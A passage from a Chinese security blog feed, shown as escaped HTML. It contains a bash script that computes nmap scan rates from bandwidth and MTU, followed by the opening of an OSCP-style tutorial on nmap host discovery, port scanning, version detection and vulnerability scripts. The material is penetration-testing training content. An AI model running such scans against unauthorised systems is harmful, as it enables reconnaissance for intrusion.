&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;[?] 输入你测试的最佳 MTU (默认 1500): &amp;#34;&lt;/span&gt; MTU
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;MTU&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MTU&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;1500&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 测试带宽&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[*] 正在测试带宽 (可能需要 30 秒)...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;speedtest-cli --simple &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/Download/{print $2}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[!] 带宽测试失败! 手动输入值:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;[?] 输入你的带宽 (Mbps): &amp;#34;&lt;/span&gt; BANDWIDTH_MBPS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 测得带宽: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; Mbps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 选择扫描类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[?] 选择扫描类型:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 1) SYN 扫描 (小包, 74 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; 2) UDP 扫描 (大包, MTU 大小)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;read&lt;/span&gt; -p &lt;span class="s2"&gt;&amp;#34;选项 (1/2): &amp;#34;&lt;/span&gt; SCAN_TYPE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$SCAN_TYPE&lt;/span&gt; in
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; 1&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;74&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 使用 SYN 扫描 (包大小: 74 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; 2&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;MTU &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;18&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[+] 使用 UDP 扫描 (包大小: &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 字节)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; *&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[!] 无效选项! 使用默认 SYN 扫描&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;PACKET_SIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;74&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算理论最大 pps (带宽 Mbps * 1e6 / (包大小 * 8))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;THEORETICAL_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=2; &lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt; * 1000000 / (&lt;/span&gt;&lt;span class="nv"&gt;$PACKET_SIZE&lt;/span&gt;&lt;span class="s2"&gt; * 8)&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算安全值 (理论值的 50%)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SAFE_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=0; &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; * 0.5 / 1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 计算首次扫描建议值 (理论值的 70%)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;INITIAL_PPS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;scale=0; &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; * 0.7 / 1&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; bc&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;57&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出结果&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[+] 计算结果:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;带宽: &lt;/span&gt;&lt;span class="nv"&gt;$BANDWIDTH_MBPS&lt;/span&gt;&lt;span class="s2"&gt; Mbps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;MTU: &lt;/span&gt;&lt;span class="nv"&gt;$MTU&lt;/span&gt;&lt;span class="s2"&gt; 字节&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;扫描包大小: &lt;/span&gt;&lt;span class="nv"&gt;$PACKET_SIZE&lt;/span&gt;&lt;span class="s2"&gt; 字节&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;理论最大速率: &lt;/span&gt;&lt;span class="nv"&gt;$THEORETICAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; pps&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;--------------------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[★] 建议 Nmap 参数:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;安全扫描: nmap --min-rate &lt;/span&gt;&lt;span class="nv"&gt;$SAFE_PPS&lt;/span&gt;&lt;span class="s2"&gt; ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;快速扫描: nmap --min-rate &lt;/span&gt;&lt;span class="nv"&gt;$INITIAL_PPS&lt;/span&gt;&lt;span class="s2"&gt; ...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n[!] 提示:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 首次扫描建议使用快速扫描值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 若遇丢包，降低至安全扫描值&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;- 在敏感网络环境中，建议从更低的速率开始&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;保存后，赋予执行权限即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;chmod +x nmap-optimizer.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 配合mtu测试脚本使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./mtu-test.sh -t 192.168.140.72 -f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;./nmap-optimizer.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250714144005183" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250714144005183.png"&gt;&lt;/p&gt;
&lt;p&gt;此方法给出的参数值比较保守，适合在普通公网环境探测时使用，打靶机Nmap扫描时建议将此参数略高6-8倍。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP</title><link>https://ruajingjing.top/post/day19-kali%E4%B8%BB%E5%8A%A8%E6%89%AB%E6%8F%8Fsmb-netbios-smtp-snmp/</link><pubDate>Wed, 16 Jul 2025 10:51:26 +0000</pubDate><guid>https://ruajingjing.top/post/day19-kali%E4%B8%BB%E5%8A%A8%E6%89%AB%E6%8F%8Fsmb-netbios-smtp-snmp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day19 Kali主动扫描SMB、NetBIOS、SMTP、SNMP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="nmap核心扫描流程与命令回顾"&gt;&lt;strong&gt;Nmap核心扫描流程与命令回顾&lt;/strong&gt;
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主机发现 (找出哪些 IP 是活动的):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -sn 192.168.1.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-sn&lt;/code&gt;&lt;/strong&gt;: (No Port Scan) 只进行主机发现（发送 ARP、ICMP Echo 等请求），&lt;strong&gt;不扫描端口&lt;/strong&gt;。快速识别网络上哪些主机是“活”的。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-PE&lt;/code&gt; / &lt;code&gt;-PP&lt;/code&gt; / &lt;code&gt;-PM&lt;/code&gt;: 指定使用特定的 ICMP 类型进行 Echo/时间戳/地址掩码请求。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-PO [protocol list]&lt;/code&gt;: 使用 IP 协议 ping (例如 &lt;code&gt;-PO1,2,4&lt;/code&gt; 用于 ICMP, IGMP, IPIP)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--traceroute&lt;/code&gt;: 在主机发现或扫描后追踪路由。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--dns-servers &amp;lt;servers&amp;gt;&lt;/code&gt;: 指定自定义 DNS 服务器进行反向解析。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;&lt;strong&gt;全端口扫描 (找出活动主机上哪些端口是开放的):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;-p-&lt;/code&gt;&lt;/strong&gt;: &lt;strong&gt;扫描所有 65535 个 TCP 端口&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p- 192.168.1.1 --open
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--open&lt;/code&gt;&lt;/strong&gt;: &lt;strong&gt;仅显示处于 &lt;code&gt;open&lt;/code&gt; 状态的端口&lt;/strong&gt;。非常有用的筛选器，去除 &lt;code&gt;closed&lt;/code&gt; 和 &lt;code&gt;filtered&lt;/code&gt; 状态的端口，使结果更清晰。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-p &amp;lt;port ranges&amp;gt;&lt;/code&gt;: &lt;strong&gt;最灵活的端口指定方式&lt;/strong&gt;。支持单端口(&lt;code&gt;22&lt;/code&gt;), 范围(&lt;code&gt;1-100&lt;/code&gt;), 逗号分隔列表(&lt;code&gt;21,22,80,443,8000-9000&lt;/code&gt;), 组合(&lt;code&gt;1-100,443,8080&lt;/code&gt;)。&lt;strong&gt;这是日常最常用的方法，替代 &lt;code&gt;-p-&lt;/code&gt; 以避免时间过长。&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-F&lt;/code&gt; (快速扫描): 扫描 nmap-services 文件中定义的较少的常见端口 (约 100 个)。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--top-ports &amp;lt;num&amp;gt;&lt;/code&gt;: 扫描最常见的 &lt;code&gt;&amp;lt;num&amp;gt;&lt;/code&gt; 个端口（基于 Nmap 的数据库）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sU&lt;/code&gt;: 进行 &lt;strong&gt;UDP 端口扫描&lt;/strong&gt; (与 &lt;code&gt;-p&lt;/code&gt;, &lt;code&gt;-p-&lt;/code&gt; 结合使用，如 &lt;code&gt;sudo nmap -sU -p- --open 192.168.1.1&lt;/code&gt; 扫描所有 UDP 端口)。&lt;strong&gt;注意：UDP 扫描通常慢得多。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;&lt;strong&gt;服务与版本探测 (确定特定开放端口运行的服务及其版本):&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nmap -p21,22,23 -sV 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/strong&gt;: (版本探测) 的核心参数。Nmap 尝试连接指定端口，分析响应，并与已知服务指纹数据库比较，&lt;strong&gt;推断服务名称(如 &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;http&lt;/code&gt;, &lt;code&gt;ftp&lt;/code&gt;)和版本号(如 &lt;code&gt;OpenSSH 8.9p1&lt;/code&gt;)&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-p &amp;lt;ports&amp;gt;&lt;/code&gt;&lt;/strong&gt;: 指定要探测版本的端口，这里是 21,22,23。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;替代/相关参数:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-A&lt;/code&gt; (强力扫描): &lt;strong&gt;包含 &lt;code&gt;-sV&lt;/code&gt; 和 &lt;code&gt;-O&lt;/code&gt; (操作系统检测)，以及一些脚本扫描(&lt;code&gt;-sC&lt;/code&gt;)&lt;/strong&gt;。提供更全面的信息，但耗时更长、动静更大。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sC&lt;/code&gt; (脚本扫描): &lt;strong&gt;使用默认的 NSE 脚本集进行更深入的探测&lt;/strong&gt;。脚本可以提供更具体的应用信息、安全漏洞检查(&lt;code&gt;vuln&lt;/code&gt; 类别)、服务枚举(&lt;code&gt;discovery&lt;/code&gt; 类别)等。常与 &lt;code&gt;-sV&lt;/code&gt; 结合使用 (&lt;code&gt;-sC -sV&lt;/code&gt; 或 &lt;code&gt;-A&lt;/code&gt;)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; --script=&amp;lt;script&amp;gt; | &amp;lt;category&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;指定运行特定的 NSE 脚本或脚本类别。提供极高的灵活性，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=http-enum&lt;/code&gt; (枚举常见 Web 目录)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=ftp-anon&lt;/code&gt; (检查 FTP 匿名登录)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=smb-vuln*&lt;/code&gt; (检查 SMB 漏洞)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=vuln&lt;/code&gt; (运行所有安全漏洞检查类脚本)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--script=banner&lt;/code&gt; (获取简单的 banner 信息，比 &lt;code&gt;-sV&lt;/code&gt; 更轻量)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;--version-intensity &amp;lt;level&amp;gt;&lt;/code&gt;: (0-9) 控制 &lt;code&gt;-sV&lt;/code&gt; 探测的强度。0 最弱最快（仅尝试最简单直接的探测），9 最强最慢（尝试所有探测）。默认是 7。在需要快速扫描或扫描已知服务时可调低。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
